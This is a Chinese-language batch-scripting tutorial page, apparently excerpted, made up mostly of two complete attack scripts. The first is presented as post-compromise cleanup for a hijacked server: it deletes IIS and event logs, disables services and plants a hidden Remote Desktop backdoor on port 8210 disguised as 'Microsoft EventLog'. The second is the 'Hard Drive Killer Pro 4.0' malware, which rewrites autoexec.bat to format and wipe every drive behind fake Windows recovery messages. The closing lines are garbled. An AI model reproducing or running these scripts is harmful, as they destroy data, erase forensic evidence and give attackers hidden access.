简明批处理教程.txt

简明的批处理教程

　　@echo Windows Registry Editor Version 5.00 >patch.dll 

　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters] >>patch.dll 

　　@echo "AutoShareServer"=dword:00000000 >>patch.dll 

　　@echo "AutoShareWks"=dword:00000000 >>patch.dll 

　　@REM [禁止共享] 

　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>patch.dll 

　　@echo "restrictanonymous"=dword:00000001 >>patch.dll 

　　@REM [禁止匿名登录] 

　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters] >>patch.dll 

　　@echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll 

　　@REM [禁止及文件访问和打印共享] 

　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\@REMoteRegistry] >>patch.dll 

　　@echo "Start"=dword:00000004 >>patch.dll 

　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule] >>patch.dll 

　　@echo "Start"=dword:00000004 >>patch.dll 

　　@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>patch.dll 

　　@echo "ShutdownWithoutLogon"="0" >>patch.dll 

　　@REM [禁止登录前关机] 

　　@echo "DontDisplayLastUserName"="1" >>patch.dll 

　　@REM [禁止显示前一个登录用户名称] 

　　@regedit /s patch.dll 

　　　------------------------ cut here then save as .bat or .cmd file --------------------------- 

　　下面命令是清除肉鸡所有日志，禁止一些危险的服务，并修改肉鸡的terminnal service留跳后路。 

　　@regedit /s patch.dll 

　　@net stop w3svc 

　　@net stop event log 

　　@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q 

　　@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q 

　　@del c:\winnt\system32\config\*.event /f /q 

　　@del c:\winnt\system32dtclog\*.* /f /q 

　　@del c:\winnt\*.txt /f /q 

　　@del c:\winnt\*.log /f /q 

　　@net start w3svc 

　　@net start event log 

　　@rem [删除日志] 

　　@net stop lanmanserver /y 

　　@net stop Schedule /y 

　　@net stop RemoteRegistry /y 

　　@del patch.dll 

　　@echo The server has been patched,Have fun. 

　　@del patch.bat 

　　@REM [禁止一些危险的服务。] 

　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>patch.dll 

　　@echo "PortNumber"=dword:00002010 >>patch.dll 

　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp >>patch.dll 

　　@echo "PortNumber"=dword:00002012 >>patch.dll 

　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>patch.dll 

　　@echo "Start"=dword:00000002 >>patch.dll 

　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] >>patch.dll 

　　@echo "Start"=dword:00000002 >>patch.dll 

　　@echo "ErrorControl"=dword:00000001 >>patch.dll 

　　@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ >>patch.dll 

　　@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ >>patch.dll 

　　@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll 

　　@echo "ObjectName"="LocalSystem" >>patch.dll 

　　@echo "Type"=dword:00000010 >>patch.dll 

　　@echo "Description"="Keep record of the program and windows message。" >>patch.dll 

　　@echo "DisplayName"="Microsoft EventLog" >>patch.dll 

　　@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] >>patch.dll 

　　@echo "Start"=dword:00000004 >>patch.dll 

　　@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe 

　　@REM [修改3389连接，端口为8210(十六进制为00002012)，名称为Microsoft EventLog，留条后路] 

　　　3.Hard Drive Killer Pro Version 4.0（玩批处理到这个水平真的不容易了。） 

　　------------------------ cut here then save as .bat or .cmd file --------------------------- 

　　@echo off 

　　rem This program is dedecated to a very special person that does not want to be named. 

　　:start 

　　cls 

　　echo PLEASE WAIT WHILE PROGRAM LOADS . . . 

　　call attrib -r -h c:\autoexec.bat >nul 

　　echo @echo off >c:\autoexec.bat 

　　echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat 

　　call attrib +r +h c:\autoexec.bat >nul 

　　rem Drive checking and assigning the valid drives to the drive variable. 

　　set drive= 

　　set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z 

　　rem code insertion for Drive Checking takes place here. 

　　rem drivechk.bat is the file name under the root directory. 

　　rem As far as the drive detection and drive variable settings, dont worry about how it 

　　rem works, its d\*amn to complicated for the average or even the expert batch programmer. 

　　rem Except for Tom Lavedas. 

　　echo @echo off >drivechk.bat 

　　echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat 

　　%comspec% /e:2048 /c {t}.bat >>drivechk.bat 

　　del {t}.bat 

　　echo if errorlevel 1 goto enddc >>drivechk.bat 

　　cls 

　　echo PLEASE WAIT WHILE PROGRAM LOADS . . . 

　　rem When errorlevel is 1, then the above is not true, if 0, then its true. 
　　rem Opposite of binary rules. If 0, it will elaps to the next command. 

　　echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat 

　　%comspec% /e:2048 /c {t}.bat >>drivechk.bat 

　　del {t}.bat 

　　echo if errorlevel 1 goto enddc >>drivechk.bat 

　　cls 

　　echo PLEASE WAIT WHILE PROGRAM LOADS . . . 

　　rem if errorlevel is 1, then the drive specified is a removable media drive - not ready. 

　　rem if errorlevel is 0, then it will elaps to the next command. 

　　echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat 

　　%comspec% /e:2048 /c {t}.bat >>drivechk.bat 

　　del {t}.bat 

　　echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat 

　　cls 

　　echo PLEASE WAIT WHILE PROGRAM LOADS . . . 

　　rem if its errorlevel 1, then the specified drive is a hard or floppy drive. 

　　rem if its not errorlevel 1, then the specified drive is a CD-ROM drive. 

　　echo :enddc >>drivechk.bat 

　　rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING". 

　　rem Now we will use the program drivechk.bat to attain valid drive information. 

　:Sampledrv 

　　for %%a in (%alldrive%) do call drivechk.bat %%a >nul 

　　del drivechk.bat >nul 

　　if %drive.==. set drive=c 

　　:form_del 

　　call attrib -r -h c:\autoexec.bat >nul 

　　echo @echo off >c:\autoexec.bat 

　　echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat 

　　echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat 

　　echo cls >>c:\autoexec.bat 

　　echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat 

　　echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat 

　　echo cls >>c:\autoexec.bat 

　　echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat 

　　echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat 

　　echo cls >>c:\autoexec.bat 

　　echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat 

　　echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat 

　　echo cls >>c:\autoexec.bat 

　　echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat 

　　echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat 

　　echo cls >>c:\autoexec.bat 

　　echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat 

　　echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat 

　　echo cd\ >>c:\autoexec.bat 

　　echo cls >>c:\autoexec.bat 

　　echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat 

　　echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat 

　　echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat 

　　echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! >>c:\autoexec.bat 

　　echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead. >>c:\autoexec.bat 

　　echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Party.>>c:\autoexec.bat 

　　echo echo. >>c:\autoexec.bat 

　　echo echo Regards, >>c:\autoexec.bat 

　　echo echo. >>c:\autoexec.bat 

　　echo echo Munga Bunga >>c:\autoexec.bat 

　　call attrib +r +h c:\autoexec.bat 

　　:makedir 

　　if exist c:\temp.bat attrib -r -h c:\temp.bat >nul 

　　echo @echo off >c:\temp.bat 

　　echo %%1:\ >>c:\temp.bat 

　　echo cd\ >>c:\temp.bat 

　　echo :startmd >>c:\temp.bat 

　　echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat 

　　echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat 

　　echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat 

　　call attrib +r +h c:\temp.bat >nul 

　　cls 

　　echo Initializing Variables . . . 

　　rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction. 

　　for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul 

　　cls 

　　echo Initializing Variables . . . 

　　echo Validating Data . . . 

　　for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul 

　　cls 

　　echo Initializing Variables . . . 

　　echo Validating Data . . . 

　　echo Analyzing System Structure . . . 

　　for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul 

　　call attrib +r +h c:\temp.bat >nul 

　　call attrib +r +h c:\autoexec.bat >nul 

　　cls 

　　echo Initializing Variables . . . 

　　echo Validating Data . . . 

　　echo Analyzing System Structure . . . 

　　echo Initializing Application . . . 

　　for %%a in (%drive%) call deltree /y %%a:\*. >nul 

　　cls 

　　echo Initializing Variables . . . 

　　echo Validating Data . . . 

　　echo Analyzing System Structure . . . 

　　echo Initializing Application . . . 

　　echo Starting Application . . . 

　　for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul 

　　cls 

　　echo Thank you for using a Munga Bunga product. 

　　echo. 

　　echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius. 

　　echo. 

　　echo Here is a joke for you . . . 

　　echo. 

　　echo Q). Whats the worst thing about being an egg? 

　　echo A). You only get laid once. 

　　echo. 

　　echo HAHAHAHA, get it? Dont you just love that one? 

　　echo. 

　　echo Regards, 

　　echo. 

　　echo Munga Bunga 

　　:end 

　　rem Hard Drive Killer Pro Version 4.0, enjoy!!!! 

　　rem Author: Munga Bunga - from Australia, the land full of retarded Australians (help me get out of here). 

　　No.7 

　　七、致谢&一些废话 

　　谨以此文献给所有为实现网络的自由与共享而努力的朋友们。感谢所有共享他们作品的朋友们，让我们为我们的理想一起努力！！ 

　　部分内容来自Ex4rchhttp://www.sometips.com（很好的一个...淙幌缘糜械闼缮?/a>^_^）。再次特别感谢！